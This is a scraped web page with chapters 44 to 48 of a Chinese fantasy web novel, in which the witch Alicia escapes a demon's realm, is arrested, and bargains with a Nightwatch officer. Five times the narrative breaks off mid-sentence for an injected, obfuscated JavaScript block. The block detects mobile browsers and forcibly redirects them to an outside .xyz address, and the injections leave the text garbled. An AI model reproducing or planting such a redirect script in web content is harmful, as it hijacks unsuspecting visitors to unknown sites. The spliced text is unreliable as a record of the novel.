d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14151170|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹去的魔法还坚守着,魔力无声地流动,沿着房屋的构架、地板、墙面、天花板飞速交流,让艾莉西亚捕捉到些从阴影里散溢的恶魔气息。 突然,艾莉西亚从地上弹射起来,腰部的伤口被阴影侵入,她整个背部都爬满了蠕动的触须,这多多少少影响了她的行动,就在她避开的下一秒,一把锐利的匕首出现在她心脏的位置,只差一毫米,刀剑都会刺穿她的心脏,带走她的性命。 艾莉西亚头也不回地跑到画了三分之二的献祭魔法阵上,卡西尼追着跑过来,被横空而来的扳手砸中额头,他来不及阻止,眼睁睁地看着艾莉西亚弄断捆绑她的绳索,把沾满鲜血的手掌飞快地印满魔法阵。 卡西尼终于发现了艾莉西亚的险恶用心,但他已经无力回天,随着血手印布满魔法阵,一股强大的力量横空出现,切断了卡西尼和恶魔之间的联系。 卡西尼身上的恶魔力量失控,身上长出一条条触手一样的阴影,很快,卡西尼被漆黑深沉、散发着不祥的蠕动阴影团团包裹,肉看只能看到一个漆黑的人形物体。 卡西尼发出灵魂撕裂的惨叫,他痛苦地哀嚎着,不停地求饶,不停地祷告,却无法减轻哪怕一点儿痛苦。 在生命的最后一刻,卡西尼脑海里回想起曾经的过往,两滴眼泪从眼角滑落,迅速被阴影吞没。 卡西尼死后,艾莉西亚立刻点燃烈火,将阴影杀灭。同时点燃的,还有遍布她后背的阴影。 做完这一切,艾莉西亚全身脱离,双膝一软,跪倒在地板上。 她摸着举铁跳动的心脏,看着被她用魔法阵保护起来的、没有受到恶魔怒火反噬的父亲,他眼里的血色逐渐消散,神志终于清醒。 艾莉西亚苦笑了一下,她有点不知道该怎么去面对皮尔了。 皮尔理智回笼,他嘴巴动了动,似乎想说点什么,但下一秒,他的表情因恐惧而变得极度扭曲,他惊恐地看着膝盖下的魔法阵,那个残缺的献祭魔法阵像是被激活了一样,散发出炽热的红光。 44. 女巫的职业危机44 艾莉西亚在心神放松的瞬间,眼前突然天旋地转,经历过一阵仿佛被洗衣机颠来倒去的折腾之后,她来到一个弥漫着呛人硫磺味的灼热空间。 炽热的温度让艾莉西亚不断眨眼,她几乎本能地释放出咒语,将自己层层叠叠地包裹起来,远离地面,漂浮在半空。 魔力润泽了受到高温炙烤的眼睛,艾莉西亚飞快地观察这里的环境,视线穿过重重硫磺烟雾,她看到这是一片开阔的山洞,穹顶极高,正中央一片火红的岩浆湖,滚烫的岩浆不断翻滚冒泡,时不时有白骨从里面翻出来,又被另一道热浪盖下去。 岩浆周围,有两队排列整齐的暗黄色骨头哨兵走过,这些骨头哨兵的眼眶里燃着幽幽蓝火,它们从山洞的这一边,沿着岩浆湖边缘走向另一端。其中一队骨头哨兵走到岩浆湖中段,其中一个不小心在石头上绊了一跤,摔进岩浆湖。 它的同伴什么都没发现,后面那个补上它的位置,它在岩浆里挣扎着想往上爬,扑腾好几下,摸到边缘,终于爬上岸,但它的大腿骨遗失了一根,走路一瘸一拐,一条腿几乎要散架。 它走了两步,觉得不对,趴到岩浆湖边,伸出手骨在岩浆湖里捞了捞,捞出一根差不多长度的白色骨头,安到大腿的位置,它走了走觉得还行,就朝着一开始的方向跑起来。 这个全身通黄、只一根大腿骨白的刺眼的骨头哨兵跑了没几步,整个骨头架子像是被抽到了灵魂一样,突然散架,淅淅沥沥落到地上成为一堆骨头。 目睹了全程的艾莉西亚嘴巴微张,感到了三观被刷新,这样的场景滑稽可笑,她不像是来到恶劣可怖的恶魔空间,而是到滑稽戏剧院观看了一场趣味十足的表演。 后腰的伤口疼痛仍在,提醒她这是真实的现实。 艾莉西亚的视线来到岩浆湖不远处,一座高耸的、由巨大岩石层峦叠嶂簇拥着的平台上,那里坐着个高大的人形物,祂的目光在漂浮于半空的艾莉西亚身上梭巡,深黑为底、猩红为瞳的眼睛像两只深邃的旋涡,两只尖尖的羊角昭示着祂的身份—— 那个把艾莉西亚从现实拽进来的恶魔,这片炽热空间的主人。 这是一个比埃诺里设下陷阱时链接的恶魔更加强大的存在,上次被迫拉入那个恶魔空间时,艾莉西亚的身体还留在现世,现在却被完全带入这个恶魔空间。 这次的恶魔有着完整的人形,祂的污染被艾莉西亚身周保护咒语形成的屏障抵御着,强烈的魔法咒语反应十分剧烈,已经在她周围形成一层肉眼可见的深蓝色。 残缺的献祭魔法阵只为恶魔提供了拽来艾莉西亚的契机,无法吞噬她。 很显然,这个强大的恶魔并不想放弃即将到手的美味,祂利用无孔不入的污染以惊人的速度消耗着艾莉西亚的魔力,只等她魔力耗尽时,就能像拆吃一只烤制好的羊羔一样轻而易举地吞掉她。 艾莉西亚,握在手里的扳手飞快地抖动,迅速而精准地刻画魔法阵法,经历过埃诺里的陷害,艾莉西亚逼着自己把和恶魔相关的咒语都背了下来,其中包括如何顶着恶魔的压力逃离的咒语。 只是这个过程需要一点时间。 艾莉西亚额头汗珠大滴大滴滚落,双线作战让她的精神消耗极大,屏障逐渐从饱满的蓝色流光褪成浅蓝,魔力在变得稀薄。 墨汁一样的阴影蜿蜒缠绕,艾莉西亚眼前的屏障被一根根深黑色的触须蔓延包裹,端坐于高大岩石山上的恶魔勾起,露出恶劣的微笑。 “你跑不掉的,女巫,不要挣扎了,留下来,成为我的养料。” 艾莉西亚听到了他的声音。 这声线富有磁性,带着致命的诱惑。 艾莉西亚满头大汗,握着法杖的手不停抖动,像患上了帕金森,差点画错咒文,她咬着牙,用另一手死死按住想要罢工的法杖,两手一起画下咒文的最后一个符号,收笔瞬间,一道洁白光幕出现,将艾莉西亚整个人都保护起来。 光幕出现那一刻,艾莉西亚感觉到手背刺痛,她低头一看,一道墨色阴影穿透她的保护屏障,刺入手背的皮肤,落到她的手背瞬间化作一团岩浆般炽热的图案,随即又转为墨黑。 “真可惜啊。”艾莉西亚听到了那道熟悉的磁性嗓音。 艾莉西亚头皮发麻,立刻念出从哈罗德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14172976|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·阿克莱特那里学来的驱魔咒,朝恶魔射过去。 带着祛除晦暗邪恶的圣洁光束击中恶魔的宝座,充斥着恶魔污染的发生巨大的爆炸,高台一片狼藉。 但爆炸后的粉尘中,没有恶魔的身影。 下一秒,一道高大的身影出现在半空,距离艾莉西亚不过半尺的距离,他扬起手,掌心出现一团赤红的血色能量团,朝着艾莉西亚击打过来。 艾莉西亚心里一紧,但她能量团穿过了她的身体,在她背后的山体上炸开——她才意识到,她的身体已经变成半透明,已经要脱离这片空间的束缚。 艾莉西亚得意地笑起来,朝恶魔竖起一根中指,再度经历过高速旋转的洗衣机一样翻腾搅动的经历后,艾莉西亚回到了家里的书房,她人刚落地,大脑还没反应过来,只感觉到天花板在旋转,非常恶心,撑着地板一阵狂吐,吐到最后只剩下胃液,仍没有恢复过来。 她手脚酸软,后背的伤口还在流血,再也没有支撑的力气,手一松,差点一头栽进自己的呕吐物中,幸好已经恢复行动力的皮尔冲过来,一把将她抱住。 艾莉西亚虚着眼睛,意识到从被拽入恶魔空间到逃脱,她感到无比漫长的过程,实际上才过去几秒,她一来一回外加狂吐的时间,刚刚够皮尔从书桌后的椅子上冲过来。 “宝贝,我的艾莉,光明神啊,你没事吧?”皮尔焦急的声音模模糊糊传来,艾莉西亚下意识拍拍他的手,表示自己没事。 她刚想说点什么,突然,书房外冲进来几个人。 为首的人身材高大,脸上有一条贯穿全脸的疤,对方扫视一圈书房,将地面上的献祭魔法阵和血手印、卡西尼燃烧后的灰烬、以及那些过于明亮的魔法灯尽收眼里,对躺在皮尔怀里的艾莉西亚宣布道: “艾莉西亚·切斯特,你被捕了。” 艾莉西亚眼前真真发黑,只觉得胸中气血翻涌,但这还没完,脑海里突然冒出一道磁性的嗓音,“真是不幸啊,女巫。” 这这这、这是那个叫巴蒂的恶魔!祂跟着自己跑出来了! 艾莉西亚气急攻心,眼前一黑,昏死过去。 45. 女巫的职业危机45 “妈妈,妈妈,不要!离开那里!快逃!不要——” 艾莉西亚猛地睁开眼,从床上翻身起来,这么大的动作让她的后腰难以支撑,伤口剧痛袭来,她痛得头皮发麻,又栽回了床上。 粗犷的声音响起,“你的母亲,切斯特太太很好,她被人打晕了丢在地下室,现在被送到医院,会有人照顾她。” 艾莉西亚回过神,看到了坐在一旁的巴尔纳,“这是哪里?”她动了动手,手上戴着的金属镣铐发出清脆的敲击声,她注意到镣铐上有淡金色的光晕闪动。 这是魔纹,她被拘禁了? 巴尔纳恶声恶气地说,“巡夜者小队的监狱,切斯特小姐,或者我应该称呼你为,女巫小姐?” 记忆回笼,艾莉西亚很快想起来都发生了什么。 她才从芙蕾·阿斯蒙德那里得到投资,晚上回家就变成了恶魔信徒的供奉恶魔的祭品,但作为女巫,这并不是什么大事,费电功夫就能解决问题,可她万万没想到,引狼入室的竟然是父亲皮尔,他遭到污染,还帮着恶魔信徒捅了自己一刀。 等艾莉西亚好不容易弄死恶魔信徒,又被恶魔拽进异度空间,经历过无比漫长又极其短暂的逃离过程,艾莉西亚脱险,回到现实,然后就被发现异常的巡夜者巴尔纳上门逮个正着,女巫身份暴露。 还有罗德! 她才觉醒女巫天赋没几天,就这样被人带走,尽管艾莉西亚已经有了那个带走罗德的人的线索,对方对魔法的使用十分娴熟,控制皮尔的木偶咒耗费了她很大的精力去抹除。 这个人不是女巫就是术士,艾莉西亚已经抓到了那个人的尾巴, 今年真是流年不利。艾莉西亚心想。 她没有说话。 “找不到理由狡辩了?切斯特小姐,你可真会隐藏。”巴尔纳说。 艾莉西亚仍然一语不发。 巴尔纳的语气不怎么友好,“我看过你的资料,你七岁的时候曾经走失过,整整一年时间,你去哪里了?” 艾莉西亚有了一点反应,她淡淡地瞥了巴尔纳一眼,但也只有这一眼。 “回答我!”巴尔纳高声说,“伯爵已经仁慈地让你们这样的家伙生活在卡斯塔尼亚,但你仍不满足,甚至不愿意缴纳用于维护城市运转的税费!” 艾莉西亚翻了个白眼,如果不是手被束缚着不好翻身,她甚至想翻过身背对着巴尔纳。 无论是艾莉西亚还是巴尔纳都很清楚,两个人现在看起来剑拔弩张的气氛只是表象,艾莉西亚在等巴尔纳提条件,而巴尔纳在尽可能地营造出可以捞到更多好处的氛围。 不过,巴尔纳双手抱臂地盯着艾莉西亚,他不该直接把切斯特太太的情况说出来,应该用这个拿捏这家伙才对。 但巴尔纳只是长得粗糙,不代表他做事没脑子,女巫们能力千奇百怪,她们背靠黑塔,近百年来过得十分自在,现在想找个能合作的女巫实在太稀有了,不被黑塔的代理人刮一层皮不算完。 巴尔纳可是好不容易发现艾莉西亚这样一个野生女巫,已经打定主意一定要把人弄到巡夜者小队。既然是要长期合作的人,他不会轻易触碰艾莉西亚的逆鳞。 “好吧,切斯特小姐,”巴尔纳说,“我不想和你浪费时间,你知道你隐瞒身份这么多年,按照法律,这足以判处你去矿山劳役二十年,同时还要支付上万费尔的罚款。” 艾莉西亚感觉他快没耐心了,没有继续抻着,慢吞吞开口,“所以呢?” 巴尔纳,“当然,如果你愿意,你可以来巡夜者小队来服劳役,只要你愿意合作,我可以帮助你减少劳役时间。” “哦,是吗?” 艾莉西亚表现得兴趣缺缺。 巴尔纳有点拿不住艾莉西亚如何想的,是不愿意来巡夜者小队,还是觉得条件不够吸引人? 他没有继续试探,而是直接问道,“如果你觉得这还不够,你可以提,只要我能办到。” 艾莉西亚没有顺着他的话,而是说,“我要见哈罗德?阿克莱特。” 巴尔纳皱着眉,“你见他干嘛?” 艾莉西亚:“你说为什么?我的妹妹罗德被人带走了,对方很可能是一个女巫,我要把她找回来。” 巴尔纳不太高兴,“我也可以做到。” 艾莉西亚没什么情绪起伏地说,“你办不到,巴尔纳,恶魔信徒灭门暗你查了那么久也找不到凶手,还让他在你眼皮子底下差点该死我和我的家人,你说你能把我的妹妹找回来,我不相信你。” 这是事实,巴尔纳无从反驳。但哈罗德不是也没找到人? 巴尔纳感到憋屈,看着艾莉西亚平静但漠然的表情,这时候的他再不复曾经的强势,两个人的优势倒装,他这个羁押女巫的人还比被关起来的女巫更弱势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14177185|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得已,巴尔纳只能点头,“可以。” 艾莉西亚的表情走了一丝缓和。 她抬起下巴,“那么,我们可以谈谈在巡夜者小队服役的事了。” 巴尔纳心神一震,背脊直起来,“你说。” “你的第一个问题,我小的时候被人拐走卖去一个女巫的魔法塔,在那里学习魔法,但我的天赋很一般,算不上什么出众,后来自己逃跑魔法塔的主人也不在意,这么多年我一直从事着普通人的工作,这也是不得已的选择。我没有像巡夜者报备的原因也很简单,税费太贵,我的父母为了找我几乎完破产,我的母亲甚至完出门工作去补贴家用,巴尔纳阁下,你一定知道,这对一个中产家庭的女性意味着什么,我不能再给他们的经济状况雪上加霜。” 巴尔纳点点头,表示理解。 艾莉西亚接着说,“我不知道你是因为什么原因想要让我加入巡夜者,但我想说的是,即使是现在,我也没办法缴纳全部的罚款,我的所有资金都投入了新机器的研发,而我的父亲为他的朋友担保了银行贷款,现在正在和银行谈判,如果我要加入巡夜者小队,我需要你帮我免除罚金。” 巴尔纳习惯性点头,表示赞同,但很快觉得不对,“免除所有罚金?这不可能。” 艾莉西亚就看着他。 巴尔纳熊掌一样的大手抓挠起自己的头发,这个壮硕魁梧的大汉露出比刚刚还要窘迫的表情,“艾莉西亚啊,你知道税务伯爵阁下是会亲自过问的吧?你的劳役我还能想想办法,但是税金我没办法承诺你,这不是我说了算就可以的。” 艾莉西亚冷眼看他表演。 这位巴尔纳阁下并不像他的外表看起来那样毫无心眼,艾莉西亚打赌,他一定与表现出来的样子相反,是一个相当有成算的人。 艾莉西亚轻轻吸气,缓缓呼气,她告诉自己完沉得住气,不能暴躁,不能失态。她以前能抗住压力坑巴尔纳的钱,现在也可以。 就在她要开口的时候,房间门外出现了新的脚步声,一个带着丝绸半高礼貌的英俊男人不顾其他人的阻挡,闯了进来。 他的目光在艾莉西亚被镣铐锁住的手绕了一圈,露出不怀好意的笑容,“这就是拉图瓦大道灭门案的凶手吗?巴尔纳阁下。” 艾莉西亚心的心倏然下沉。 她刷地一下盯住巴尔纳,谢尔夫怎么会出现在这里? 46. 女巫的职业危机46 艾莉西亚“刷”地一下盯住巴尔纳,谢尔夫怎么会出现在这里? 出乎她的预料,巴尔纳也是一副不高兴的样子,他从椅子上站起来,挡在谢尔夫面前,“谁让你来这里的?出去!” 巴尔纳身高超过一米九,长得又壮,他像一座大山一样横在谢尔夫面前,谢尔夫被他的气势震慑,奚落的话都忘了。 很快,谢尔夫意识到自己的胆怯,憋出一句,“她不是凶手为什么把她拷起来?” 巴尔纳,“你得明白,这是一位女巫,拷起来是为了保证安全。不过,在你出现在这里之前,我已经和切斯特小姐谈过了,她是一位遵纪守法的好女巫,并且背后没有任何背景,包括黑塔。我现在就把她放了。” 说完,巴尔纳就要帮艾莉西亚打开镣铐。 谢尔夫抢先一步,抓住巴尔纳的手,“布利斯,这时候放走这个与恶魔为伍的女巫可不是明智的决定,拉图瓦灭门案过去了半个月,你毫无头绪,议会已经对你很不满了,没有这个女巫,你拿什么向他们交代?” 艾莉西亚在心里破口大骂,该死的谢尔夫! 栽赃诬陷,还要拿她去顶锅! 她昨天就不应该在他身上撒液体燃料,她应该往他身上丢最恶毒的诅咒,让他直接下地狱! 她和小安托瓦都想错了,她和谢尔夫之间根本没有缓和的余地。 昨天的事根源在谢尔夫不把普通人的命当命,艾莉西亚能和他对抗,女巫的身份已然暴露,她不报复回去谢尔夫会觉得她软弱,可以任人拿捏,这很可能导致他将她的女巫身份当成勒索她的把柄;而她报复回去,则会让他怀恨在心,只要让谢尔夫抓住机会,他就会像今天这样毫不犹豫地把她推上死路。 不能放过这家伙。艾莉西亚阴暗地想,手指蠢蠢欲动,她抖了抖衣袖,想要抓住扳手,但袖管里空空荡荡,什么都没有。 扳手被收走了。 那一刹那错愕之后,艾莉西亚愤怒的情绪得到了缓解,现在对谢尔夫出手可不是明智的决定。即使要干掉她,也需要一个合适的机会。这是在巡夜者的地盘,至少也先看巴尔纳怎么做。 这样想着,艾莉西亚突然意识到,她的情绪起伏太大了。 难道是因为受伤又被拉进恶魔空间,所以对情绪的控制没那么好了? 就在艾莉西亚自省的时候,巴尔纳毫不客气地甩开谢尔夫,非常不给这位同僚面子,“我需要向议会交代什么?谢尔夫,容我提醒你,我的上司是芙蕾阁下,我只需要对她负责。” “不需要向议会交代?我真希望议会的诸位绅士们能看看你现在的嘴脸,这可与你请求审批预算的样子完全不一样啊。” 巴尔纳却没有再继续与他纠缠,他居高临下地看着谢尔夫,轻描淡写地说,“谢尔夫,你越界了。” 谢尔夫一开始不以为意,但很快,他像是想到了什么,脸色一下就变得惨白。 巴尔纳没有乘胜追击,他转身,弯腰给艾莉西亚解开镣铐,让艾莉西亚先出去。 艾莉西亚想要留个小魔法偷听,可惜巴尔纳似乎看出穿了她的心思,给了她一个警告的眼神,艾莉西亚只好放弃。 两个人很快谈完,谢尔夫先出来,他冲在前面,把门板摔得砰砰响,经过艾莉西亚的时候给了她一个恶狠狠的眼神,阴阳怪气地说,“切斯特小姐真是一个被幸运女神眷顾的人,不是吗?” 艾莉西亚反话正听,她朝他露出挑衅的笑容,“当然,幸运女神只会眷顾我这样的虔诚信徒,像你这样背叛信仰的家伙,任何神祇都会厌弃你,可能只有恶魔才是你的最终归宿,对吧?” 谢尔夫气得踹坏了一张椅子。 一道清脆的嗓音幽灵一样响起,“谢尔夫先生,我会把购买新椅子的账单寄给你的,请记得签收。” 这是巴尔纳的秘书,她穿着干练的职业装,表情恭敬,但说话如同她的老板一样一点不给谢尔夫面子。 谢尔夫气成了河豚,他头也不回地往外走,走到门口还绊了一跤,那背影怎么看,怎么像落荒而逃。 巴尔纳吩咐秘书小姐,“去查谁通知的谢尔夫,找出来让他滚。” 秘书小姐面色不变,“好的,布利斯。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14196004|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了艾莉西亚一眼,问道,“我已经叫了马车,直接送切斯特小姐回家吗?” “不,我们去教堂找哈罗德,看看明天都有谁没事,找十个人出来,明天要出城一趟。” 巴尔纳带着艾莉西亚往外走,“来吧,切斯特小姐,剩下的事让我们在马车上继续。” 艾莉西亚站着没动,她后腰的伤口裂了,血又流了出来,“我想我需要拿回我的法杖,巴尔纳阁下。” 巴尔纳头也没回地往外走,“你知道那不可能,在我们没有达成共识之前,你想都别想。” 艾莉西亚,“那么,你得到了的将不是一个能够为巡夜者服务的女巫,而是一具流血而死的女巫尸体。” 巴尔纳骇了一跳,他眉头皱起来,“你看起来并不需要它。” 艾莉西亚,“难道巡夜者的医生没有告诉你我的伤口有多严重吗?” 这个巴尔纳真的不了解,他看向秘书小姐,秘书小姐说,“是的,很严重,如果切斯特小姐不是一位女巫,很可能已经在献祭现场死亡了。” “好吧,”巴尔纳心不甘情不愿地给了秘书小姐一个眼神,“把法杖还给她吧。但请你记住,切斯特小姐,你是一位遵纪守法的女巫,明白吗?” “当然。我们有分歧的地方不在这里。” 秘书小姐拿着钥匙,去仓库里取出一个盒子,盒子外面有隐含暗光的魔纹闪过。她带着手套,打开盒子,递到艾莉西亚面前。 艾莉西亚把自己扳手外形的法杖拿出来,握在手里,感觉到魔力在顺畅的运转着,神情有些微放松,脸色也恢复了一点血色。 但突然,她的法杖手感不对,出现了一块奇怪的凸起,像个图案。 艾莉西亚心里疑窦丛生,她突然冒出一个让她感到恐怖的想法,她不露声色地看了一眼巴尔纳,巴尔纳却在看秘书小姐,两个人目光交汇,不知道交换了什么信息。 艾莉西亚已经顾不上了,她的手指放在凸起的地方轻轻摩挲,同时将魔力灌注进去,果然,脑海里响起了一道不那么陌生的磁性嗓音,“竟然这么快就发现了啊。” 47. 第 47 章 艾莉西亚头皮几乎要炸开,那个恶魔竟然跟着她来到了现世! 她像是被烫到了一般,立刻缩回手指,完全不用过脑子,下意识就用魔力把大脑封起来,异常迅速地清空所有与恶魔有关的想法,伪装得像是什么都没发生一样。 做完这一切,艾莉西亚将注意力放到巴尔纳身上,“巴尔纳,我们走吧。” 坐上马车,巴尔纳并没有旧话重提。 老实说,谢尔夫突然闯进来给了他一个停止那个危险的话题的机会。 艾莉西亚是个隐藏多年的女巫,她去登记之后,一定会引起某些人的关注,巴尔纳可以利用职权更改艾莉西亚劳役的地方,从矿山变更到巡夜者小队,这不算什么,但她这么多年应该缴纳的税金加罚款,不是个小数目,这可能不会引起伯爵的注意,但盯着这个钱的人不会少,至少主管税务的部门就不会轻易放过。 巴尔纳隶属于芙蕾·阿斯蒙德,作为那位女士的下属,巴尔纳觉得他可以想办法减免一部分,但这部分到底有多少,巴尔纳心里没底。 所以当艾莉西亚对他步步紧逼的时候,谢尔夫的出现让他松了一口气。 这一路上艾莉西亚不可避免地觉得难受。 就这么去教堂,会被发现吗?艾莉西亚不敢深入去想。 她意识到自己的想法总会不自觉地往那个方向滑动,艾莉西亚强迫自己去观察巴尔纳的状态,看到他的表情,多少能猜到一些他的想法。 想了想,艾莉西亚说,“布利斯,我们得聊聊。” 巴尔纳用手搓了搓脸,“如果你想说罚金的事——” “不,”艾莉西亚阻止他继续这个话题,“我想说的事另一件事,我曾拜托我的另一位合伙人,米亚·约克女士送来两个企图炸毁我的工坊的盗贼,你应该从他们那里得知了野犬酒吧的掮客赫伯特,他手里有我想要的信息。” “为他们提供炼金术产品的超凡者?是这个吗?” 艾莉西亚,“是的。因为某些愿意,我被地下魔法交易市场拒绝进入,但是,我需要从市场某些人那里找到带走罗德的人的信息,那些为舒伯特提供炼金术产品的家伙,可以帮上忙。” “很遗憾,恐怕这件事我无能为力,我的人去野犬酒吧抓人的时候,赫伯特已经跑掉了。” 艾莉西亚笑了一下,那是一种胜券在握的自信,“巴尔纳阁下,你知道你面前坐着一个女巫,老实说,我并不擅长追踪,但如果追踪的对象是一个普通人,那么这对我就不是难事。” 巴尔纳,“你希望我做什么?” 艾莉西亚,“用你的人帮我打探那个超凡者的消息。我也会跟着那个为赫伯特提供炼金术产品的家伙进入交易市场。我需要从不同的渠道得到消息,相互印证,避免因为我无法亲自进入地下魔法交易市场被人给坑了。” 这对巴尔纳来说完全没有没问题,他知道地下魔法交易市场的存在,但当然也有自己的渠道,水至清则无鱼,这一点赫伯特十分明白,即使是伯爵本人,也没有对地下魔法交易市场赶尽杀绝,虽然这位实力强大的骑士贵族看起来更像是把那些家伙豢养起来,等他需要的时候他就会一锅端掉。 到了教堂外,艾莉西亚找了个借口,没有进教堂。 对此,巴尔纳并没有起疑,像艾莉西亚这样的被教廷排挤的存在,对教堂多半避之不及,更何况艾莉西亚看起来虽然不太像,但她本质上还是个流□□巫,像她这样的人,在过去一旦被发现,能活下的地少之又少。这也不怪她如此谨慎。 不过巴尔纳并不清楚,过去艾莉西亚时常从后门跑去找阿克莱特。 当艾莉西亚独自坐在马车中等候的时候,她从扳手上感觉到了来自那个名为“巴蒂”的恶魔的力量,她施加在大脑的重重魔力起到了保护作用,此时,恶魔的声音无法穿过屏障直达脑海。 这让艾莉西亚大大地松了一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14204344|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这意味着那个恶魔并没有寄生在自己的力量核心之中。 就在这时,艾莉西亚眼前一闪,一道人影突然出现在车厢。 对方黑发绿眸,眉眼深邃,相貌异常英俊。 拉蒙·德蒙卡萨。 这家伙怎么还没滚回南方教廷? 艾莉西亚因为受到惊吓而狂跳起来,她握紧扳手,强忍着狠狠给对方狠狠来一下的冲动,露出个狰狞的笑,“好久不见,审判官阁下,你怎么还赖在这里没回去南方?阿克莱特骑士可真是善良过头了,他竟然还有钱养你。” 德蒙卡萨端详着艾莉西亚的表情,一本正经地说,“唔,这就要感谢卡斯塔尼亚处处都是机遇了,你知道的,像我这样的人找个工作并不是什么难事。” 艾莉西亚脑子转得飞快,“那么,德蒙卡萨骑士,我想你一定不会拒绝这样的邀请——帮我找到回我的妹妹,你欠我的一笔勾销,怎么样?” 德蒙卡萨看着艾莉西亚,嘴角缓缓勾起,笑容明朗而阳光,“这看起来是一个划算的交易,但,我拒绝。”、 “为什么?”艾莉西亚倒没觉得意外,这家伙要是干脆答应才有问题。 德蒙卡萨说,“女士,我可不是阿克莱特那样善良过头的家伙,一切皆有代价,不是吗?” “的确,一切都有代价,我已经支付过报酬了,不是吗?” “那可不够,女士,在你这里,我的性命与你的妹妹的性命并不等价。” 艾莉西亚盯着他看了一会儿,不知道这个审判庭骑士在盘算什么,很显然,一个能屈能伸,能当杀手也能为了目标伪装成小白脸的家伙底线不会高到哪里去。 她暗自庆幸巴尔纳不是这种人,不然她就算签了奴隶卖身契都不够的。 艾莉西亚说,“既然你是这样想的,那么我就不勉强的。不过我想巴尔纳一定不会拒绝抓到一个来自审判庭的骑士,去给他的老板当成和教廷谈判的筹码。” 48. 第 48 章 德蒙卡萨笑了,“你不会这么做的。那会给哈罗德带来麻烦,你一定不希望看到哈罗德的处境更加艰难。” 他说对了。 艾莉西亚回他一个笑容,“如果你还要继续浪费我的时间,那这并不难做到。” “好吧,好吧,”德蒙卡萨像是被威胁到一样,作投降状,“你说服我的,女士,我像你应该不介意多一个帮手,对吧?就当我是我对你的报恩。” 艾莉西亚觉得既荒谬又好笑,她没再搭理德蒙卡萨,而是掀起窗帘,看向阿克莱特的居所,正好看到高大的巴尔纳和银发的阿克莱特一起向这边走过来,她用眼角瞄了一眼对面的德蒙卡萨,哪里已经空空荡荡,哪还有人在? 艾莉西亚为自己的行为感到好笑。 德蒙卡萨这种家伙,生存能力可能比自己还强,她难道还担心被巴尔纳抓到?说不定他还被抓了还会感谢巴尔纳帮助他逃脱审判庭的控制呢。 阿克莱特拿着艾莉西亚给的线索,去追踪赫伯特了,巴尔纳帮艾莉西亚找到一位术士。 这是一位经济状况相当不错的先生,他的房子在中产街区,是一栋有着三层小楼的漂亮房屋,屋子外面有个打理得很漂亮的小花园,花园里姹紫嫣红,好多都是艾莉西亚叫不上名字的品种,大约是来自海外的殖民地。 巴尔纳前去敲门,应门的是一个有着深色皮肤的男仆,这个人鼻梁宽而扁平,眼睛大而明亮,嘴唇丰厚,牙齿有轻微的外突,显得很异类。 艾莉西亚看到他的时候,愣了一下,异世界大陆也有奴隶贸易? 不过巴尔纳对这位深色皮肤的男士态度自然,他客气地询问主人是否在家,是否方便见客。 男仆朝艾莉西亚看了一眼,请两人在外面等等,他要去询问主人的意思。然后他当着两人的面把门关上。 巴尔纳尴尬地摸摸鼻子,“安特伍德男爵脾气不太好,我们略等等——” 巴尔纳话音还没落地,大门从里面打开,一个高瘦干瘪的中年人走了出来。 中年人拉着一张脸,不高兴地说,“布利斯,你又在说我的坏话!”他看了艾莉西亚一眼,“还是在这样一位美丽的女士面前。” 然后他像变脸一样对艾莉西亚露出和善的笑,对她行了个吻手礼,“里面请,切斯特小姐,欢迎你来到安特伍德家。我已经听说了,你是一位非常厉害的女巫,你破坏了恶魔信徒的献祭,救回了父母,真是个不得了的孩子,你的父母一定为你感到骄傲。” 